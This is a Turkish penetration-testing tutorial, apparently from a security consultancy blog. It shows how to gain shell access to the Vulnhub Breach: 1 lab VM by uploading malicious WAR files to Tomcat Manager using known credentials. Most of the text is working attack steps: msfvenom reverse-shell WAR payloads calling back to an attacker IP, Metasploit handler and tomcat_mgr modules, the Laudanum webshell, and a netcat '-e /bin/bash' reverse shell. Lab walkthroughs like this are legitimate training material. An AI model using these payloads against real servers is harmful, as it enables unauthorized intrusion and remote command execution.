Apache Tomcat Manager Üzerinden Otomatik veya El İle Java War Dosyası Yükleyerek Komut Satırı Elde Etme

0
2599
views
Web sunucu sızma testleri sırasında hedef web sunucusunun güvenilir bir şekilde yapılandırılmamış olması zafiyete sebep olabilir. Bu yazıda, Tomcat yönetici konsoluna ait kimlik bilgileri elde edilen Breach: 1 sanal makinesinde Tomcat arayüzü üzerinden WAR dosyası yüklenip çalıştırılarak uygulama kullanıcısı (tomcat6) yetkileri ile komut satırı erişimi elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Breach: 1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/breach-1,152/

 

Not: Varsayılan durumda mevcut sanal ethernet kartına statik IP adresi (192.168.110.140) atanmıştır.

TCP/8443 portundan hizmet veren Tomcat üzerinde yönetici yetkileri ile oturum açmak için aşağıdaki erişim bilgileri kullanılabilir.

URL: https://192.168.110.140:8443/_M@nag3Me/html
Kullanıcı Adı: tomcat
Parola: Tt\5D8F(#!*u=G)4m7zB

 

Uygulamaya erişilmek istendiğinde erişimde tünelleme hatası alındığına dair bir mesaj ile karşılaşılmaktadır.

https://192.168.110.140:8443

 

Bunun sebebi hedef sunucudaki şifreleme paketlerinin güvenilir olmamasıdır.

wget https://192.168.110.140:8443 –no-check-certificate
sslscan 192.168.110.140:8443

 

Bu hatadan kurtulmak için browser ayarları değiştirilebileceği gibi bir aracı uygulama üzerinden bağlantı da sağlanabilir. Örneğin, Burp Suite gibi bir vekil sunucu ile araya girildiğinde SSL hatası alınmamaya başlanmıştır.

 

Vekil sunucu aracılığı ile kimlik doğrulama sayfasına erişim sağlanabilmektedir.

URL: https://192.168.110.140:8443/_M@nag3Me/html
Kullanıcı adı: tomcat
Parola: Tt\5D8F(#!*u=G)4m7zB

 

Böylece oturum açılabilmiştir.

 

Oturum açıldıktan sonra varsayılan yönetici ekranının kullanıldığı ve uzaktan WAR dosyası yüklenebildiği görülmektedir. Yüklenebilecek olan WAR dosyası çağırıldığında bu dosyada belirtilen kodların çalışması sağlanabilmektedir. Bu yöntemle

 

1) MSFVenom ile oluşturulan War Dosyası ile Meterpreter Erişimi Elde Etme

WAR dosyası oluşturmak için MSFVenom aracı kullanılabilir.

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=13579 -f war -o ZararliDosya.war

 

Deploy” başlığı altına hazırlanan WAR dosyası yüklenebilir.

 

Applications” başlığı altında bu WAR dosyası görülebilir.

 

Yüklenen WAR dosyası çağırıldığında gelecek talebi yakalayacak olan dinleyici başlatılır.

use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.110.129
set LPORT 13579
exploit -j

 

Yüklenen uygulama çağırıldığında Meterpreter bağlantısı elde edilmiş olur.

sessions
sessions -i 1
shell
uname -a

 

2) Laudanum cmd.war Dosyası ile Bash Kabuk Satırı Erişimi Elde Etme

Standart komut satırı erişimi için Laudanum aracı kullanılabilir. Laudanum içerisinde asp, aspx, cfm, jsp, php, wordpress gibi bir çok platform için zararlı dosya bulunmaktadır.

wget https://netcologne.dl.sourceforge.net/project/laudanum/laudanum-1.0/laudanum-1.0.tgz
tar -xzf laudanum-1.0.tgz
cd laudanum/
ls

 

Tomcat için “cmd.war” dosyası kullanılabilir.

cd jsp/
ls
cd warfiles/
ls

 

Bu dosya önceki başlıkta belirtildiği (“War file to deploy“) gibi hedef sunucuya yüklenebilir.

 

Yüklenen uygulama çalıştığında komut çalıştırılabilecek sayfaya erişim sağlanmış olur.

https://192.168.110.140:8443/cmd/cmd.jsp
hostname

 

Yüklenen “cmd.war” dosyası ile ters komut satırı erişimi elde edilebilir. Bu talebi yakalayacak olan dinleyici başlatılır.

nc -nlvp 24680

 

Metin alanına ters bağlantı talebi girildiğinde uygulama kullanıcısı yetkileri (tomcat6) ile Bash komut satırı erişimi yakalanmış olur.

nc 192.168.110.129 24680 -e /bin/bash
id
cat /etc/*release*
python -c ‘import pty;pty.spawn(“/bin/bash”)’

 

Not: Laudanum yerine MSFvenom ile oluşturulan bir WAR dosyası kullanılarak da Bash komut satırı erişimi elde edilebilirdi.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=98765 -f war > ZararlıKomutSatiri.war

 

3) MSF tomcat_mgr_deploy İstismar Modülü ile Meterpreter Erişimi Sağlanması

Bash veya Meterpreter komut satırına otomatik olarak erişim için MSF tomcat_mgr_deploy istismar modülü kullanılabilir. Bu modül “/manager/html/upload” bileşenine HTTP PUT metodu ile war dosyası yükler. Ayrıca TARGET değişkeninin gözetilerek kullanılması da bu modül için önemlidir.

use exploit/multi/http/tomcat_mgr_deploy
show options

 

Mevcut sanal makinede gerekli ayarlar yapılmasına rağmen komut satırı elde edilememiştir.

set PATH /_M@nag3Me/
set HttpUsername tomcat
set HttpPassword Tt\5D8F(#!*u=G)4m7zB
set RHOST 192.168.110.140
set RPORT 8443
set SSL true
set SSLVERSION Auto
set Proxies http:127.0.0.1:8080
set ReverseAllowProxy true
set TARGET 0
run

 

Bunun yanında aynı modül benzer ayarlar ile Metasploitable-2 sanal makinesinde çalışabilmektedir.

use exploit/multi/http/tomcat_mgr_deploy
set PATH /manager
set HttpUsername tomcat
set HttpPassword tomcat
set RHOST 192.168.110.130
set RPORT 8180
exploit
shell
id
uname -a

 

4) MSF tomcat_mgr_upload İstismar Modülü ile Meterpreter Erişimi Sağlanması

Bash veya Meterpreter komut satırına otomatik olarak erişim için MSF tomcat_mgr_upload istismar modülü kullanılabilir. Bu modül “/manager/html/upload” bileşenine HTTP POST metodu ile war dosyası yükler. Örnek bir kullanım aşağıdaki gibidir.

search tomcat_mgr_deploy
use exploit/multi/http/tomcat_mgr_deploy
show options

 

Seçenekleri ayarlanır.

set RHOST 192.168.30.139
set RPORT 8080
set USERNAME tomcat
set PASSWORD tomcat
show options

 

Tomcat uygulama kullanıcısı yetkisi ile oturum elde edilir.

exploit
getuid

 

5) Manuel Olarak WAR Dosyası Hazırlama

Bir JSP veya Servlet kullanarak da Web Shell dosyası hazırlanabilir. Örnek bir dosya içeriği aşağıdaki gibidir.

 

Bu dosya bir dizine atılıp, o dizin war formatına getirilerek hedef Tomcat sunucuya gönderilmeye hazır hale getirilebilir.

mkdir Zararli
cp index.jsp Zararli
cd Zararli
jar -cvf ../Zararli.war *

 

 

6) Tomcat War Deployer Betiği

Bir diğer yöntem de Gİthub üzerindeki Tomcat War Deployer betiğini kullanmaktır.

git clone https://github.com/mgeeky/tomcatWarDeployer

python tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080

 

 

 

Kaynaklar:

https://blog.secureideas.com/2013/01/laudanum-by-example-shell.html

Hack the Breach 1.0 VM (CTF Challenge)

Multiple Ways to Exploit Tomcat Manager


https://pentesterlab.com/exercises/axis2_and_tomcat_manager/course
Vulnhub – Breach 1.0 walkthrough

0x2 Exploit Tutorial: Web Hacking with Burp Suite


https://charlesreid1.com/wiki/Metasploitable/Apache/Tomcat_and_Coyote#Uploading_Java_Executable_with_Metasploit
http://blog.opensecurityresearch.com/2012/09/manually-exploiting-tomcat-manager.html

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.